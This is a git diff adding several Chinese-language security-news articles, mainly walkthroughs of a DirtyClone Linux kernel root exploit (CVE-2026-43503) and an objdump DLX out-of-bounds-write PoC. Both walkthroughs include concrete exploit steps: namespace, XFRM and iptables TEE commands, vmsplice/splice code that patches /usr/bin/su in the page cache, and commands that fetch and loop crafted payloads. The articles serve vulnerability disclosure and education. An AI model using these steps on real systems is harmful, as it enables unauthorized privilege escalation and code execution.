到控制流劫持的路径，值得学习。责任使用声明：仅在本地研究环境、自己拥有的系统或明确授权的 lab 中运行 PoC。切勿用于非法目的。想复现的同学，建议先在干净的 Linux/WSL 环境中按步骤操作，并用 GDB 观察调用链，会收获更多。 + +参考仓库：https://github.com/bikini/exploitarium/tree/main/c-ares-tcp-uaf-calc-poc欢迎留言讨论 DNS 安全、内存漏洞利用技巧，或其他类似 PoC 分析。如果你有特定应用想检查是否受影响，也可以提供更多细节一起探讨。 + +（本文基于公开 GitHub PoC 整理，所有技术细节均来自公开来源。如有更新，请以官方 c-ares 发布为准。）  + +**END** + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/zNsFJyIuL0FXqSyPb7qZOuQ5fxUlic0p6tZVZJPG2vKXav2UPicnd2xOupiby9TcKZ46dmFxSHg0icaWskKA1yuSGfZ8HC7ndnu8ZtUKDUWOGmU/640?wx_fmt=jpeg&from=appmsg "") + + +公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址 + +排版 编辑 | Ots 小安  + +采集 翻译 | Ots Ai牛马 + +公众号 |  +AnQuan7 (Ots安全) + diff --git a/doc/2026-06/【CVE-2026-43503】DirtyClone 本地用户通过克隆数据包获得 Root 权限.md b/doc/2026-06/【CVE-2026-43503】DirtyClone 本地用户通过克隆数据包获得 Root 权限.md new file mode 100644 index 00000000..738f5cc2 --- /dev/null +++ b/doc/2026-06/【CVE-2026-43503】DirtyClone 本地用户通过克隆数据包获得 Root 权限.md @@ -0,0 +1,366 @@ +# 【CVE-2026-43503】DirtyClone 本地用户通过克隆数据包获得 Root 权限 +原创 骨哥说事 + 骨哥说事 骨哥说事 2026-06-29 01:09 + +

声明：文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。

# + +# + +****# 防走失：https://gugesay.com/ + +******不想错过任何消息？设置星标****↓ ↓ ↓** +**** +# + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/hZj512NN8jlbXyV4tJfwXpicwdZ2gTB6XtwoqRvbaCy3UgU1Upgn094oibelRBGyMs5GgicFKNkW1f62QPCwGwKxA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/TKdPSwEibsZiaLRHncnjCt1PQgxd82cibIWX7TiauersyhhhX52BPzyMQ8RrwI7ArNOW47juBG4Lb22QRZ5ZYYUoakoyOeGWBsuyy3wjXcZ2dRU/640?wx_fmt=png&from=appmsg "") + +JFrog 安全研究团队在审计近期 Linux 内核补丁时发现，尽管针对 DirtyFrag 漏洞家族的修复措施已经部署，但仍有一个衍生问题未被解决。这个漏洞使得同一种攻击手法，能够通过 XFRM/IPsec 子系统中的不同数据包处理路径持续存在。 + +我们在5月19日将此问题报告给 Linux 内核维护者。恰巧，原始 DirtyFrag 的研究者 "Hyunwoo Kim" 在5月16日也提交了一份相关的 更广泛的报告。该漏洞变种已于5月21日（v7.1-rc5 版本，提交记录 9e171fc1d7d7）被打上补丁并合并到主线内核，并被分配了 CVE-2026-43503。 + +在撰写本文时，尚未有关于此漏洞的公开概念验证 (PoC)。JFrog 研究人员已成功为 CVE-2026-43503 新发现的 DirtyFrag 变种开发出提权利用程序，我们将其命名为 "DirtyClone"。我们发布这项研究，是因为它展示了一种影响多个 skb（套接字缓冲区）处理路径的、更广泛的利用模式，表明其底层的攻击原语并非仅限于单个有漏洞的代码路径。 +## 影响 + +CVE-2026-43503 是一个高严重性（CVSS 评分 8.8）的本地权限提升 (LPE) 漏洞。 此问题的严重性在于，它允许任何未经授权的本地用户通过操纵 Linux 页缓存来获取 **root 访问权限** +。该攻击是静默的，不会留下内核日志或审计痕迹，并能绕过常见的磁盘完整性监控工具。 +## 受影响系统与范围 + +此漏洞影响了众多的现代 Linux 发行版，前提是它们运行着受影响的特定内核版本和配置。 +- **受影响的发行版：** + 已确认攻击在启用了非特权用户命名空间的流行发行版上有效，包括**Debian** +、Ubuntu 和 Fedora + +- **受影响的内核：** + 任何缺乏完整的 DirtyFrag 漏洞家族修复链的内核都存在风险。那些完全没有修复原始漏洞（CVE-2026-43284 和 CVE-2026-43500）的系统将广泛暴露于攻击之下。此外，任何应用了初始缓解措施但缺少后续补丁（CVE-2026-46300 和 CVE-2026-43503）的主线、稳定版或长期支持 (LTS) 内核分支，仍然对特定的绕过方式脆弱。只有当应用了完整的补丁系列后，系统才能完全防御这种利用模式。 + +- **可被利用的用户：** + 运行脆弱内核的服务器或设备上的任何本地用户，只要持有或能够获取 CAP_NET_ADMIN 权限（通常可通过非特权用户命名空间获得），都可能被攻击。这对启用了用户命名空间或部署了特权容器的多租户云环境、Kubernetes 集群和容器化工作负载构成了最高风险。 + +## 安全防护（缓解措施） + +该问题已于2026年5月21日被打上补丁并合并到主线内核。 +- **即时建议：** + 用户应立即将其 Linux 内核更新至已修复的版本 **v7.1-rc5** +，或者为其发行版的内核应用针对 CVE-2026-43503 的向后移植补丁。 + +- **变通方法：** + 如果无法立即打补丁，变通方法包括：通过设置 kernel.unprivileged_userns_clone=0 + 来阻止 CAP_NET_ADMIN 权限的获取，或者将 esp4、esp6 和 rxrpc 内核模块列入黑名单以阻止就地解密原语。 + +- **这对 JFrog 客户意味着什么：** + 由于此漏洞针对的是主机内核，它强调了采取强有力安全态势的必要性。JFrog Artifactory 和 Xray 在此防御中至关重要；请确保所有二进制文件和包都通过安全的、经过管理的注册中心（如 Artifactory、Repo21）获取，并定期由 Xray 扫描，以便在恶意或未经批准的包到达您的机器之前将其阻止，从而降低可能促成此类内核 LPE 的潜在供应链风险。 + +## 时间线 + +![](https://mmbiz.qpic.cn/mmbiz_png/TKdPSwEibsZj3Se4ibopQjc7nTZPeFPQkJgjzS7G8s2HUBczAOqKHeBsM7wqibt92TeT7MpbNj6JCYItSZMBZh4tib9j56y4IbyBxKSiao0wH6iac/640?wx_fmt=png&from=appmsg "") +- **5月4日：** + DirtyFrag 补丁（针对 CVE-2026-43284 和 CVE-2026-43500）登陆 Linux 内核主线。它修复了 spliced UDP 数据包缺失 SKBFL_SHARED_FRAG 标志的缺陷，确保执行就地解密的子系统触发安全的写时复制。 + +- **5月13日：** + Fragnesia (CVE-2026-46300) 被披露；补丁登陆 Linux 内核 netdev。标志在skb合并 (skb_try_coalesce) 过程中丢失，绕过了缓解措施。 + +- **5月16日：** + 上游多站点补丁提交，覆盖了剩余的碎片传输辅助函数（__pskb_copy_fclone +、skb_shift +、skb_segment +、skb_gro_receive +、skb_gro_receive_list +、tcp_clone_payload +）。 + +- **5月19日：** + JFrog 独立地在 __pskb_copy_fclone + 变种中重新发现此问题，构建了 PoC，并报告了它。 + +- **5月21日：** + 补丁合并到主线（提交记录 48f6a5356a33）。 + +- **5月23日：** + CVE-2026-43503 发布。 + +- **5月24日：** + Linux v7.1-rc5 发布，这是第一个修复的标签版本。 + +![](https://mmbiz.qpic.cn/mmbiz_png/TKdPSwEibsZgn2HcxJJBoT5xv492kcrCUwLuodzDAyNLG2Hb1LyWna8fbmOibJU2RGWcouBVbbsibzwuRSh9pialT2HSUv1tRK7EuYUQba6PXMA/640?wx_fmt=png&from=appmsg "") +## DirtyFrag 漏洞家族 + +DirtyFrag 是 Linux 内核核心网络栈中的一个内存破坏漏洞家族，影响套接字缓冲区（skb）引用共享页缓存内存的方式，这些漏洞随后通过诸如 XFRM/IPsec 或 RxRPC 等子系统中的就地加密转换被武器化。 + +尽管 DirtyFrag、Fragnesia 和 DirtyClone 等变种针对不同的数据包克隆或转发路径，但它们都依赖于一项共享的技术：诱使内核将只读的、文件支持的页缓存内存当作可写的网络缓冲区。 + +在高层次上，内核在现代设计中并未严格区分三种可以相互重叠的内存角色： +1. 文件支持的内存（用于可执行文件和文件的页缓存） + +1. 网络缓冲区（通过零拷贝路径处理的数据包数据） + +1. 就地转换（例如，加密/解密并写回到同一缓冲区） + +当这三种上下文相交时，内核可能会修改在语义上仍然与文件相关联的内存，从而导致文件支持的数据在原地被破坏。 +## 高层次利用模型 + +此攻击滥用了同一物理内存页同时被用作以下两种用途的情况： +- 文件数据（页缓存） + +- 网络数据包数据（skb） + +通常，这两者是分开的： +- 文件 → 页缓存页 + +- 网络 → skb 缓冲区 + +DirtyFrag 将它们连接了起来。 + +为了利用这种重叠，攻击者遵循以下步骤： +### 第 1 步：选择目标页 + +攻击者映射一个特权二进制文件，例如 /usr/bin/su +，导致该文件被加载到页缓存中。 +``` +/usr/bin/su↓页缓存页（RAM） +``` + +此页成为操作的目标。 +### 第 2 步：使数据包引用页缓存 + +攻击者制作一个 IPsec 数据包，其有效载荷由相同的页缓存页支持。 + +利用 vmsplice + 和 splice +，内核将页缓存支持的内存附加到 skb 中，而不是复制它。 +``` +int fd = open("/usr/bin/su", O_RDONLY);char *p = mmap(NULL, mmap_size, PROT_READ, MAP_SHARED, fd, 0);struct iovec iov = { .iov_base = p + patch_offset, .iov_len = 16 };vmsplice(pipefd[1], &iov, 1, 0);splice(pipefd[0], NULL, sockfd, NULL, 16, 0); +``` + +此时，数据包缓冲区在字面意义上是由文件内存支持的。 +### 第 3 步：强制本地 IPsec 处理 + +攻击者使用基于环回地址的 IPsec 隧道，确保数据包保持在本地。 + +这保证了： +1. 数据包由攻击者创建 + +1. 同一个内核处理该数据包 + +1. 数据包通过 IPsec 接收路径 + +当被处理时，数据包到达 ESP 解密阶段 (esp_input() +)。 +### 第 4 步：就地解密成为一种写入原语 + +为了性能，IPsec 就地解密数据包有效载荷。 + +这意味着： +- 输入缓冲区 == 输出缓冲区 + +- 解密后的字节覆盖同一块内存 + +正常情况下是安全的，但此处的缓冲区由页缓存页支持。 如果 skb 数据驻留在一个源自文件映射的、由页支持的缓冲区中，就地解密就可以修改该共享页的内容。 +``` +IPsec 解密   ↓写回到 skb 缓冲区   ↓同一物理页，即 /usr/bin/su 所在页 +``` +### 第 5 步：受控地覆写文件支持的内存 + +攻击者控制加密的输入参数（密钥、初始向量 IV 和数据包布局）。在 AES-CBC 中，IV 会影响第一个解密的块。 + +通过组合： +- 已知的原始字节 + +- 选定的密文结构 + +- 受控的 IV + +攻击者可以在特定偏移量处强制输出可预测的字节，在受限条件下，这可以影响共享的、由页支持的缓冲区中的解密结果字节。 +### 第 6 步：修改内存中的二进制文件 + +攻击者利用此原语来修补 /usr/bin/su + 内部的小段指令序列。 + +只需要修改几个字节（例如，控制身份验证的条件分支逻辑）。磁盘上的文件并未改变，但页缓存的副本被修改了。 +``` +原始的 su 页   ↓IPsec 写入原语   ↓修改后的 su 页 (RAM) +``` +### 第 7 步：执行修改后的二进制文件 + +当 /usr/bin/su + 再次被执行时： +1. Linux 复用缓存的页 + +1. 修改后的指令被直接使用 + +1. 身份验证逻辑被绕过 + +**结果：权限提升。** +``` +修改后的页缓存   ↓su 被执行   ↓修改后的逻辑运行   ↓获得 root 权限 +``` +## 修复措施 + +原始的 DirtyFrag 修复为 spliced UDP 数据包设置了 SKBFL_SHARED_FRAG 标志。这是一个元数据标志，用于标记那些引用了共享页缓存内存的 skb 数据包，确保执行就地解密的子系统会触发安全的写时复制。 + +如果设置了此标志，IPsec 会在解密前强制进行复制。 +``` +检测到共享页   ↓SKBFL_SHARED_FRAG = 1   ↓复制 skb   ↓安全解密 +``` + +这防止了直接修改文件支持的页。 + +Fragnesia 和 CVE-2026-43503 的修复确保 SKBFL_SHARED_FRAG 标志在函数间正确传递，并且不会在过程中被意外“丢弃”。 +## 利用 DirtyClone + +为了配置所需的网络和 IPsec 环境，需要 CAP_NET_ADMIN 权限，因为它允许控制网络接口、路由和 XFRM/IPsec 策略。 + +攻击者首先创建一个新的网络命名空间： +``` +unshare -Urn +``` + +这将在命名空间内提供网络管理权限。虽然权限是命名空间化的，但页缓存在主机级别是共享的，因此，如果通过共享映射修改了文件支持的页，其影响可能会传播到使用这些页的其他进程。 +## 第 1 步：初始化本地 IPsec 处理环境 + +攻击者配置一个基于环回的 IPsec 隧道，以便数据包由同一个内核实例在本地处理。 +``` +ip link set lo upip addr add 10.99.0.2/24 dev lo +``` + +然后创建一个 IPsec (XFRM) 状态（创建 IPsec 接口）： +``` +ip xfrm state add \src 127.0.0.1 dst 127.0.0.1 \proto esp spi 0x12345678 reqid 1 mode transport \enc 'cbc(aes)' ... \auth 'hmac(sha1)' ... +``` + +一条匹配的策略将强制出站流量通过 IPsec： +``` +ip xfrm policy add \src 127.0.0.1 dst 127.0.0.1 dir out \tmpl src 127.0.0.1 dst 127.0.0.1 proto esp reqid 1 mode transport +``` + +最后，添加一个 netfilter 规则（强制我们的数据包通过有漏洞的 fclone + 路径）： +``` +iptables -t mangle -A OUTPUT -p udp --dport 4500 \-j TEE --gateway 10.99.0.2 +``` +#### 关键点 + +TEE + 目标是至关重要的： 它会在内核内部复制出站数据包。在内部，这会触发 nf_dup_ipv4 +，从而通过 __pskb_copy_fclone() + 导致 skb 克隆。 +## 第 2 步：理解有漏洞的克隆行为 + +当发送一个 UDP 数据包（类似于“高层次利用模型 - 第2步”中描述的）时： +1. 原始 skb 被创建。 + +1. TEE + 规则复制了它。 + +1. 内核调用 __pskb_copy_fclone() + 来创建一个克隆的 skb。 + +此时，存在两个 skb 对象： +- **原始 skb** + → 遵循正常路径 + +- **克隆 skb** + → 进入有漏洞的转换路径 + +**在克隆过程中，克隆的 skb 未能正确保留 SKBFL_SHARED_FRAG 标志。** + +这个标志是内核的安全标记，表明该 skb 引用了共享的（可能是文件支持的）页内存。因此： +- 原始 skb = 安全 - 元数据完好 + +- 克隆 skb = 不安全 - 元数据缺失 + +这种差异正是 DirtyClone 绕过的根源。 + +![](https://mmbiz.qpic.cn/mmbiz_png/TKdPSwEibsZh6rQ4icIHROowLX9VbKcK0TIXjniatuOzQmCbK5DSUGMxNqdPS0QsqbsQJv4E5mdqfP73BicLeO5rAJuX5eXO3cnJARGx7muEpxQ/640?wx_fmt=png&from=appmsg "") +## 第 3 步：构建 IPsec 路由路径 + +两个 skb 实例都通过本地基于环回的 IPsec 配置进行路由。 + +这确保了： +- 数据包保持在本地 + +- 数据包由同一内核实例处理 + +- 克隆 skb 到达 IPsec 接收路径 + +最终，克隆 skb 到达： +``` +esp_input() +``` + +此时，skb 有效载荷已不是普通的网络内存。相反，它引用的是源自文件映射（例如 /usr/bin/su +）的、由页缓存支持的内存。 + +因此内存布局是： +``` +文件支持的页（页缓存）    ├─ /usr/bin/su 的内容    └─ skb 有效载荷引用 +``` + +重要的是，skb 并没有复制数据；它引用的是相同的物理页。这种共享引用使得页缓存写入原语能够在所有 DirtyFrag 变种中被重复利用。 +## 第 4 步：IPsec 就地解密路径 + +当克隆 skb 到达 esp_input() + 时，IPsec 对数据包有效载荷进行解密。 + +出于性能考虑，这是就地完成的： +- 输入缓冲区 == 输出缓冲区 + +- 解密后的字节覆盖掉现有的 skb 内存。 + +概念上： +``` +加密的 skb 有效载荷        ↓IPsec 解密（就地）        ↓将输出写入同一缓冲区 +``` + +由于克隆 skb 引用了页缓存内存，内核将解密后的数据直接写入到一个文件支持的页中。 + +![](https://mmbiz.qpic.cn/mmbiz_png/TKdPSwEibsZgAhQ707vz8f8xCRgoDtSxTggdRRjp3K1ibKiagnVAqv7xENlfvmkPbyodVmN1QyMsBdBSnmXyWVhUbyvauCDEAKHciaQic6GOqH8I/640?wx_fmt=png&from=appmsg "") +## 第 5 步：通过加密参数进行受控写入 + +攻击者得到的并不是任意的写入能力。 + +他们控制： +- AES-CBC 密钥材料（通过 SA 配置） + +- 每个数据包的 IV + +- 数据包布局和偏移量 + +在 AES-CBC 中： +- 每个解密块都依赖于 IV + +- 攻击者可以计算一个 IV，使得输出变得可预测 + +因此，通过结合已知的原始字节、期望的目标字节和受控的 IV，攻击者将解密操作转变为对页缓存内存的受控写入原语。 + +发送的数据包看起来像这样： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/TKdPSwEibsZiaNIFmafA9RAjBNahH8r9jFb7yVFJwkhuS1wEA0bYkOxgmGeoxWaS7fWicKZicnPE0iajdUViadZobXibgtNfD0nADl6o0yvGFtiaCpk/640?wx_fmt=png&from=appmsg "") +## 第 6 步：修改内存中的 /usr/bin/su + +利用此原语，攻击者修补 /usr/bin/su + 内部选定的指令字节。 + +典型的修补目标包括身份验证检查和条件分支指令。仅需进行小的、局部的修改。结果是磁盘文件保持不变，而页缓存中包含修改后的可执行代码。 +``` +原始的 su 页      ↓受控的 IPsec 写入      ↓RAM 中被修改的 su 页 +``` +## 第 7 步：执行修改后的二进制文件 + +当 /usr/bin/su + 被执行时，Linux 从页缓存加载二进制文件。如果修改后的页仍然在缓存中： +- 无需从磁盘重新加载 + +- 修改后的指令被直接执行 + +执行流程： +``` +修改后的页缓存      ↓su 被执行      ↓修改后的逻辑运行      ↓权限提升 +``` + +- END - + +**感谢阅读，如果觉得还不错的话，动动手指给个三连吧～** + diff --git a/doc/2026-06/【深度技术解析】objdump DLX 后端 Out-of-Bounds 写入导致的本地 ACE PoC 详解.md b/doc/2026-06/【深度技术解析】objdump DLX 后端 Out-of-Bounds 写入导致的本地 ACE PoC 详解.md new file mode 100644 index 00000000..e2d4a790 --- /dev/null +++ b/doc/2026-06/【深度技术解析】objdump DLX 后端 Out-of-Bounds 写入导致的本地 ACE PoC 详解.md @@ -0,0 +1,146 @@ +# 【深度技术解析】objdump DLX 后端 Out-of-Bounds 写入导致的本地 ACE PoC 详解 + Ots安全 2026-06-29 01:10 + +**威胁简报** + + +**恶意软件** + + +**漏洞攻击** + +今天我们来详细拆解 GitHub 上一个非常有意思的 PoC 项目：bikini/exploitarium 中的 objdump-dlx-calc-poc。 + +这个 PoC 利用的是 GNU Binutils 中 objdump -g 处理 DLX ELF 对象文件时的堆/调试节越界写入漏洞，最终在特定环境下实现从崩溃到执行任意命令（这里是打开计算器）的效果。 + +重要声明：这是一个本地解析器漏洞（ACE - Arbitrary Code Execution via crafted local file），不是网络远程漏洞。 + +需要受害者主动运行 objdump -g（或类似带调试信息的选项）处理恶意文件。 + +PoC 保留了 ASLR，采用相对偏移 + 多 payload 尝试策略，并非单发全 bypass。  + +一、背景知识 + +objdump 和 DLX 架构objdump 是 GNU Binutils 套件中的核心工具，用于显示对象文件（ELF、PE 等）的各种信息。-g 选项会尝试解析调试信息（DWARF 等）。 + +DLX 是一种教学用的 32 位 RISC 架构（类似 MIPS 的简化版），在 Binutils 中有对应的 elf32-dlx 后端支持。虽然现实中很少用到，但正是这个冷门后端存在实现上的不完善，导致了本次漏洞。 + +漏洞核心在于 DLX 后端处理重定位（Relocation） 时，对调试节（.debug_*）的边界检查不足，允许越界写入。  + +二、漏洞原理简述 +1. （高层次）构造一个特制的 DLX ELF 对象文件（表面上看似合法的 ELF）。 + +1. 当 objdump -g 解析它时，DLX 后端在处理重定位条目时，会向超出预期调试节边界的内存区域写入数据。 + +1. PoC 精心设计这些写入操作，覆盖关键的 libc FILE 结构（如 _IO_2_1_stderr_ 相关的 vtable 或函数指针字段）。 + +1. 通过精心选择的 32 位 big-endian 重定位加法，将 _IO_2_1_stderr_ 指针的低 32 位“转换”为 system 函数的低 32 位。 + +1. 后续触发 I/O 操作或清理逻辑时，控制流跳转到 system("P")，而 P 是当前目录下的 helper 脚本，从而执行命令。  + +为什么需要多个 payload？ + +因为 ASLR（地址空间布局随机化）开启后，libc 和堆的基址是随机的。PoC 使用相对 delta（稳定偏移）+ 多组猜测的 system_delta，覆盖常见 libc 低 32 位布局。命中率取决于目标环境的 heap/libio profile。  + +三、项目文件结构 + +详解进入仓库目录 objdump-dlx-calc-poc： +- payloads/：预先生成的多个 .bin 文件（实际是 ELF 格式，只是扩展名用 bin）。每个对应不同 delta 组合，还有 .notes 说明。 + +- P：核心 helper 脚本（可执行）。它会写入 calc_hit.log 日志，并在 WSL 下调用 Windows 计算器（calc.exe）。 + +- run_dlx_calc_poc.sh：自动化尝试脚本，循环尝试所有 payload，直到命中。 + +- generate_objdump_dlx_calc_poc.py：payload 生成器，使用 dlx_chain_builder.py 构建重定位链。 + +- docs/aslr-bypass-analysis.md：详细的 ASLR 绕过分析，解释为什么无法做到通用单文件 bypass。 + +- tools/：Z3 求解器验证脚本、delta 覆盖率计算等。  + +四、环境准备与复现步骤 + +推荐环境：WSL（Ubuntu 24.04） + 已编译的 Binutils（支持 dlx-elf）。克隆仓库： + +``` +git clone https://github.com/bikini/exploitarium.gitcd exploitarium/objdump-dlx-calc-pocchmod +x Pexport PATH="$PWD:$PATH"   # 关键！让系统能找到 ./P# 指定你的 objdump 路径，例如系统自带或自定义编译的MAX_TRIES=50 bash run_dlx_calc_poc.sh /usr/bin/objdump# 或者自定义构建# MAX_TRIES=50 bash run_dlx_calc_poc.sh /opt/binutils-master/binutils/objdumpcat calc_hit.log +``` + + +如果看到 CALC_HELPER_RAN ... 并且计算器弹出，即为成功。  + +手动单步尝试（便于理解）： + +``` +rm -f calc_hit.logfor p in payloads/*.bin; do  echo "Trying $p"  /path/to/objdump -g "$p" >/dev/null 2>&1 || true  if [ -s calc_hit.log ]; then    echo "HIT! $p"    cat calc_hit.log    break  fidone +``` + + +常见现象：即使出现 “Segmentation fault”，也不代表失败——只要 helper 没触发，就继续尝试。成功信号是日志文件更新或计算器弹出。 + +五、重新生成 Payload + +如果想自定义或更新： + +``` +rm -rf payloadspython3 generate_objdump_dlx_calc_poc.py --out-dir payloads +``` + + +脚本会根据不同 profile（wsl2404、gnu2461 等）生成对应 payload。  + +六、ASLR Bypass 技术细节（进阶） +- 核心转换：利用 DLX 支持的 32-bit big-endian relocation add，对 FILE 结构中 _IO_2_1_stderr_ 指针低 32 位进行算术操作，使其指向 system。 + +- 覆盖点：涉及 heap buffer、section 对象偏移（如 0xbb0 / 0xbb8）、rbase 等。 + +- 为什么不是通用 bypass？ + +1. libc 基址低 32 位随机，需要覆盖多种 delta。 + +1. 重定位加法的 carry 传播方向（big-endian）限制了依赖关系，无法对所有 page-aligned base 都成立。 + +1. Z3 验证脚本确认了固定转换序列的局限性。  + +项目作者也提到，4D4J 的另一个 repo 提供了更完整的 ASLR bypass PoC，值得参考。 + +七、安全意义与修复建议 + +影响： +任 +何 +使用 objdump 解析不可信 ELF 文件的场景（CI/CD、逆向工具、自动化脚本等）都可能受影响。 + +缓解： +- 避免用 objdump 处理不受信任的文件。 + +- 更新 Binutils 到最新版本（项目测试了 2.46.1，仍受影响，建议关注官方修复）。 + +- 在沙箱或容器中运行解析工具。 + +- 编译时加强 hardening（ASLR、stack protector 等已默认开启，但本 PoC 已适配）。 + +这个 PoC 非常适合学习 ELF 格式、重定位机制、Binutils 内部结构以及现实中的 ASLR 部分绕过技术。 + +参考链接： + +原 PoC：https://github.com/bikini/exploitarium/tree/main/objdump-dlx-calc-poc + +相关发现：https://github.com/4D4J/objdump-Out-Of-Bounds-write + +如果你在复现过程中遇到问题，或者想深入讨论 DLX 重定位的具体字节构造，欢迎留言！我们下期再见~ + +**END** + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/zNsFJyIuL0FXqSyPb7qZOuQ5fxUlic0p6tZVZJPG2vKXav2UPicnd2xOupiby9TcKZ46dmFxSHg0icaWskKA1yuSGfZ8HC7ndnu8ZtUKDUWOGmU/640?wx_fmt=jpeg&from=appmsg "") + + +公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址 + +排版 编辑 | Ots 小安  + +采集 翻译 | Ots Ai牛马 + +公众号 |  +AnQuan7 (Ots安全) + diff --git a/doc/2026-06/周鸿祎急了：AI挖漏洞时代来了，中国必须有自己的Mythos.md b/doc/2026-06/周鸿祎急了：AI挖漏洞时代来了，中国必须有自己的Mythos.md new file mode 100644 index 00000000..f7a2a390 --- /dev/null +++ b/doc/2026-06/周鸿祎急了：AI挖漏洞时代来了，中国必须有自己的Mythos.md @@ -0,0 +1,101 @@ +# 周鸿祎急了：AI挖漏洞时代来了，中国必须有自己的Mythos +原创 ladon + ladon 306Safe 2026-06-29 00:36 + +🔥 今日头条 + +6月24日，第十四届互联网安全大会（ISC.AI 2026）在北京国家会议中心开幕。360集团创始人、大会主席**周鸿祎** +在主题演讲中抛出重磅观点：**"未来几年我国很多关键基础设施和重要产业或将进入网络攻击高发期，中国网络安全行业必须拥有自己的Mythos。"** + +## 一、Mythos是什么？为什么让整个行业恐慌？ + +近期，美国人工智能公司**Anthropic** +宣布限制其内部最强模型**Mythos** +对外开放，引发全球关注。这个模型的厉害之处在于——**它能自动发现软件漏洞** +。 + +早在该模型问世初期，就曾引发美国一众网络安全巨头股价暴跌。原因很简单：当AI可以自动化挖掘漏洞时，传统依赖人工的安全公司商业模式将面临颠覆性冲击。 + +**💡 核心要点：** +Mythos不是普通的聊天机器人，它是一个专门针对代码安全和漏洞发现的AI系统。这意味着攻击者和防御者之间的博弈正在被AI重新定义。 + +## 二、ISC.AI 2026：智能体颠覆安全 + +本届大会以**"智能体颠覆安全"** +为年度主题——当智能体（Agent）从辅助工具升级为自主决策、自主行动的执行者，传统安全防御逻辑正在被彻底改写。 + +来自政府、学术界、国际组织及产业界的嘉宾围绕以下核心议题展开深度讨论： +- +- **🔄 安全范式转变：** +从被动防御到主动智能 + +- +- **🏢 企业级智能体落地：** +AI Agent在实际安全运营中的应用 + +- +- **⚖️ AI安全治理：** +如何在发展与安全之间找到平衡 + +- +- **👨‍🎓 AI人才培养：** +新时代需要什么样的安全人才 + +- + + +## 三、山石网科的"双A战略"：ASIC + AI + +大会上，山石网科董事长兼CEO叶海强、CTO兼CAIO蒋东毅接受专访，深度解读了"双A战略"的布局逻辑与落地成果。 +
A1: ASIC自研芯片
A2: AI智能安全
筑牢安全硬件底层壁垒，用专用芯片提升检测性能
拥抱智能体技术，实现自主安全决策与响应
+叶海强表示，双A战略是贴合山石网科技术基因与行业趋势制定的长期规划。**硬件+AI的双轮驱动** +，正在成为新一代安全厂商的标准配置。 + +## 四、周鸿祎的核心论点 + +📣 周鸿祎三大判断： +1. +1. AI大模型正在对传统网络安全行业形成**颠覆性冲击** + +1. +1. 中国必须打造**自主可控的漏洞挖掘能力** + +1. +1. 在AI安全竞赛中，**中国不能缺席** + +1. +周鸿祎指出，网安行业的"旧药方"已经失灵。面对AI驱动的攻防升级，传统的签名检测、规则匹配正在失效，必须依靠AI来对抗AI。 + +## 五、全球视野：G7峰会闭门讨论AI安全 + +就在ISC.AI 2026召开同期，第52届七国集团峰会在法国召开。6月17日的AI专项闭门会议以**"确保人工智能安全、快速和有效应用"** +为主题。 + +参会阵容空前豪华： +- +- **政界：** +特朗普、卡尼、马克龙、梅洛尼等各国领导人 + +- +- **业界：** +Dario Amodei（Anthropic CEO）、Demis Hassabis（DeepMind）、Sam Altman（OpenAI） + +- +AI安全已经上升为全球顶级议题，不再是技术圈的自嗨。 + +## 六、安全从业者的应对之道 + +面对AI时代的到来，安全从业者应该如何布局？ + +学习Prompt Engineering +理解LLM安全机制 +掌握AI Agent安全框架 +关注OWASP Top 10 for LLM +实践AI辅助渗透测试 + +正如周鸿祎所言，这不是选择题，而是必答题。**AI不会取代安全工程师，但会用AI的安全工程师会取代不会用的。** + +📌 关注「星辰安全」，每日获取AI安全 & 网络安全前沿动态 + +参考来源：ISC.AI 2026官方报道、中国新闻网、复旦DDI + diff --git a/doc/2026-06/安全工具丨一款AI安全审计工具。可实现目标准备、审计、漏洞利用构建和执行验证等.md b/doc/2026-06/安全工具丨一款AI安全审计工具。可实现目标准备、审计、漏洞利用构建和执行验证等.md new file mode 100644 index 00000000..736dd24e --- /dev/null +++ b/doc/2026-06/安全工具丨一款AI安全审计工具。可实现目标准备、审计、漏洞利用构建和执行验证等.md @@ -0,0 +1,40 @@ +# 安全工具丨一款AI安全审计工具。可实现目标准备、审计、漏洞利用构建和执行验证等 +原创 蓝星安全 + 蓝星安全 蓝星安全 2026-06-28 22:00 + +        +**点击上方****蓝星安全****关注我** + +**** + +**免责声明：本公众号分享的任何资料仅限用于安全学习，严禁用于其他用途，请严格遵守中华人民共和国法律法规，对因不遵守国家法律法规而产生的任何后果，均由个人自行承担，本公众号不承担任何责任！** + +**** +**获取资料，请扫码下方二维码加入知识星球** + +![](https://mmbiz.qpic.cn/mmbiz_png/opKHaHXLxcmxg12rU33pwcICNRkiaof5YSUAGfWPApU7M1BfdsTTOyvREw0gKD42g4U8eefG4n0XuYETEtbxSIN2drACnNVz3UeicCcldM5AA/640?wx_fmt=png&from=appmsg "") + +一、简介 + +       Flounder是一个**自主式白帽安全审计系统** +。给它一个公开源码或授权的目标（代码仓库、源码树、程序包、部署线索等），它就能自动化完成从目标准备到漏洞报告生成的全流程。它并非针对特定技术栈的扫描器或规则检查器，而是一个围绕AI模型构建的**轻量级审计工作流框架** +。审计策略由模型决定，Flounder负责提供安全的沙盒环境、命令执行策略、持久化状态和结果报告。 + +![](https://mmbiz.qpic.cn/mmbiz_png/opKHaHXLxcm77Fan24FZrG1wIDnflFhug7gRmvFvD1YIOMo8ib9An597bvtlUtoVtl9adSr0NviculBps0oVmiaqMKDB69paj1Y4BJRiccrgD3o/640?wx_fmt=png&from=appmsg "") + +二、核心能力 +- **自主审计循环** + flounder run 可以执行“准备 -> 映射 -> 挖掘 -> 确认 -> 报告”这一系列步骤，形成一个可跟踪的工作流。“准备”步骤可以将事务、地址、项目、存储库或链接转换为暂存的源文件和材料；“映射”步骤清点审计范围；“挖掘”步骤编写并运行验证测试；“确认”步骤在实际目标上重现发现的问题；“报告”步骤将重现的错误打包成 Markdown 报告。操作员无需为每个目标构建自定义场景流程。 + +- **与框架无关的推理。Flounder**不编码 